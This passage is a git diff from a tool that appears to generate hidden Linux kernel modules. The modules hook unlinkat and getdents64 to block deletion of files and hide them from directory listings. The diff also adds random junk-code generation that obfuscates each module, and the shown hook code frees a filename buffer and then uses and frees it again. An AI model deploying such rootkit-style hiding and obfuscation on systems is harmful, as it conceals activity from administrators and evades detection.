(check_fs_blocklist(kernel_filename)) + { + pr_info("blocked to not remove file : %s\n", kernel_filename); + ret=0; + kfree(kernel_filename); + return ret; + } kfree(kernel_filename); ret = real_sys_unlinkat(regs); @@ -368,16 +373,14 @@ static asmlinkage long fh_sys_unlinkat (int dirfd, const char __user *filename, char *kernel_filename = get_filename(filename); - if (check_fs_blocklist(kernel_filename)) - { - - kfree(kernel_filename); - pr_info("blocked to not remove file : %s\n", kernel_filename); - ret=0; - kfree(kernel_filename); - return ret; - - } + if (check_fs_blocklist(kernel_filename)) + { + kfree(kernel_filename); + pr_info("blocked to not remove file : %s\n", kernel_filename); + ret=0; + kfree(kernel_filename); + return ret; + } kfree(kernel_filename); ret = real_sys_unlinkat(dirfd,filename, flags); @@ -391,55 +394,57 @@ static asmlinkage long (*real_sys_getdents64)(const struct pt_regs *); static asmlinkage int fh_sys_getdents64(const struct pt_regs *regs) { - struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si; - struct linux_dirent64 *previous_dir, *current_dir, *dirent_ker = NULL; - unsigned long offset = 0; - int ret = real_sys_getdents64(regs); + struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si; + struct linux_dirent64 *previous_dir, *current_dir, *dirent_ker = NULL; + unsigned long offset = 0; + long error; + + int ret = real_sys_getdents64(regs); - dirent_ker = kzalloc(ret, GFP_KERNEL); + dirent_ker = kzalloc(ret, GFP_KERNEL); - if ( (ret <= 0) || (dirent_ker == NULL) ) - return ret; + if ( (ret <= 0) || (dirent_ker == NULL) ) + return ret; - long error; - error = copy_from_user(dirent_ker, dirent, ret); + error = copy_from_user(dirent_ker, dirent, ret); - if(error) - goto done; + if(error) + goto done; - while (offset < ret) - { - current_dir = (void *)dirent_ker + offset; + while (offset < ret) + { + current_dir = (void *)dirent_ker + offset; - if ( check_fs_hidelist(current_dir->d_name)) - { + if ( check_fs_hidelist(current_dir->d_name)) + { - if( current_dir == dirent_ker ) - { + if( current_dir == dirent_ker ) + { - ret -= current_dir->d_reclen; - memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); - continue; - } + ret -= current_dir->d_reclen; + memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); + continue; + } - previous_dir->d_reclen += current_dir->d_reclen; - } - else - { + previous_dir->d_reclen += current_dir->d_reclen; + } + else + { - previous_dir = current_dir; - } + previous_dir = current_dir; + } - offset += current_dir->d_reclen; - } + offset += current_dir->d_reclen; + } - error = copy_to_user(dirent, dirent_ker, ret); - if(error) - goto done; + error = copy_to_user(dirent, dirent_ker, ret); + + if(error) + goto done; done: - kfree(dirent_ker); - return ret; + kfree(dirent_ker); + return ret; } @@ -468,8 +473,9 @@ static int start_hook_resources(void) { int err; err = fh_install_hooks(demo_hooks, ARRAY_SIZE(demo_hooks)); - if (err) - return err; + + if (err) + return err; return 0; } diff --git a/module_generator/template/main.c b/module_generator/template/main.c index 895a761..6b4ed35 100755 --- a/module_generator/template/main.c +++ b/module_generator/template/main.c @@ -10,16 +10,53 @@ MODULE_DESCRIPTION("CASPER_MODULE_NAME - Custom LKM to protect secret resources on file system."); MODULE_AUTHOR("CoolerVoid "); MODULE_LICENSE("GPL"); -MODULE_VERSION("0.2"); +MODULE_VERSION("0.3"); +void CODE_GEN_FUNC_NAME3 (void); +void CODE_GEN_FUNC_NAME2 (void); + +/* Junk code generator macros */ +void CODE_GEN_FUNC_NAME1 (void) +{ + int counter=0; + JUNK_CODE_1 + + while(counter!=5) + { + CODE_GEN_FUNC_NAME2(); + counter++; + } +} + +void CODE_GEN_FUNC_NAME2 (void) +{ + int counter=0; + JUNK_CODE_2 + + while(counter!=4) + { + CODE_GEN_FUNC_NAME3(); + counter++; + } +} + + +void CODE_GEN_FUNC_NAME3 (void) +{ + JUNK_CODE_3 + +} static int fh_init(void) { - struct device *fake_device; - int error = 0,err = 0; - dev_t devt = 0; + struct device *fake_device; + int error = 0,err = 0; + dev_t devt = 0; + + CODE_GEN_FUNC_NAME1(); + + err=start_hook_resources(); - err=start_hook_resources(); if(err) pr_info("Problem in hook functions"); @@ -27,42 +64,43 @@ static int fh_init(void) tidy(); /* Get a range of minor numbers (starting with 0) to work with */ - error = alloc_chrdev_region(&devt, 0, 1, "CASPER_FAKE_DEVICE"); + error = alloc_chrdev_region(&devt, 0, 1, "CASPER_FAKE_DEVICE"); - if (error < 0) - { - pr_err("Can't get major number\n"); - return error; - } + if (error < 0) + { + pr_err("Can't get major number\n"); + return error; + } - major = MAJOR(devt); + major = MAJOR(devt); /* Create device class, visible in /sys/class */ - fake_class = class_create(THIS_MODULE, "custom_char_class"); + fake_class = class_create(THIS_MODULE, "custom_char_class"); - if (IS_ERR(fake_class)) { - unregister_chrdev_region(MKDEV(major, 0), 1); - return PTR_ERR(fake_class); - } + if (IS_ERR(fake_class)) + { + unregister_chrdev_region(MKDEV(major, 0), 1); + return PTR_ERR(fake_class); + } /* Initialize the char device and tie a file_operations to it */ - cdev_init(&fake_cdev, &fake_fops); - fake_cdev.owner = THIS_MODULE; + cdev_init(&fake_cdev, &fake_fops); + fake_cdev.owner = THIS_MODULE; /* Now make the device live for the users to access */ - cdev_add(&fake_cdev, devt, 1); + cdev_add(&fake_cdev, devt, 1); - fake_device = device_create(fake_class, + fake_device = device_create(fake_class, NULL, /* no parent device */ devt, /* associated dev_t */ NULL, /* no additional data */ "CASPER_FAKE_DEVICE"); /* device name */ - if (IS_ERR(fake_device)) - { - class_destroy(fake_class); - unregister_chrdev_region(devt, 1); - return -1; - } + if (IS_ERR(fake_device)) + { + class_destroy(fake_class); + unregister_chrdev_region(devt, 1); + return -1; + } return 0; diff --git a/module_generator/util/parser.py b/module_generator/util/parser.py index b1822cd..914fda7 100644 --- a/module_generator/util/parser.py +++ b/module_generator/util/parser.py @@ -1,10 +1,32 @@ import os import yaml +import random +import string import argparse from util import file_op from termcolor import colored from util import custom_validator +def random_function_name(): + chars = string.ascii_lowercase + string.digits + return "f"+''.join(random.choice(chars) for _ in range(10)) + +def code_junk_gen(): + ops = {"x+=1","x-=1","x*=1","x+=2","x+=y","y++","y-=1","y+=1"} + code = "int x=0,y=0;\n" + count = 0 + while count<=4: + ops = random.sample(ops,len(ops)) + for line in ops: + code += "\t"+str(line)+";\n" + count += 1 + return code + + +def banner(): + reset = '\033[0m' + yellow = '\033[93m' + def banner(): print("\t____ ____ ____ ___ ____ ____ ____ ____") print("\t| |__| [__ |__] |___ |__/ __ |___ [__ ") @@ -14,7 +36,7 @@ def banner(): print(colored(logo,'white',attrs=['blink']) ) file.close() print(colored("\tCasper-fs is a Custom Hidden Linux Kernel Module generator. Each module works in the file system to protect and hide secret files.",'yellow')) - print(colored("\tVersion 0.2 coded by CoolerVoid - github.com/CoolerVoid/casper-fs",'cyan')) + print(colored("\tVersion 0.3 coded by CoolerVoid - github.com/CoolerVoid/casper-fs",'cyan')) print ("\tExample to use:") print ("\tpython3 Casper-fs.py --rules rules/my_secret_files.yaml\n") @@ -93,6 +115,13 @@ def start_generator(rules_fs): main_file=template_content_main main_file=main_file.replace("CASPER_MODULE_NAME",v['module_name']) main_file=main_file.replace("CASPER_FAKE_DEVICE",v['fake_device_name']) + # random junk code generator + main_file = main_file.replace("CODE_GEN_FUNC_NAME1", random_function_name()) + main_file = main_file.replace("CODE_GEN_FUNC_NAME2", random_function_name()) + main_file = main_file.replace("CODE_GEN_FUNC_NAME3", random_function_name()) + main_file = main_file.replace("JUNK_CODE_1", code_junk_gen()) + main_file = main_file.replace("JUNK_CODE_2", code_junk_gen()) + main_file = main_file.replace("JUNK_CODE_3", code_junk_gen()) # hooked.c hooked_file=template_content_hooked hooked_file=hooked_file.replace("CASPER_HIDE",v['hide_module_key'])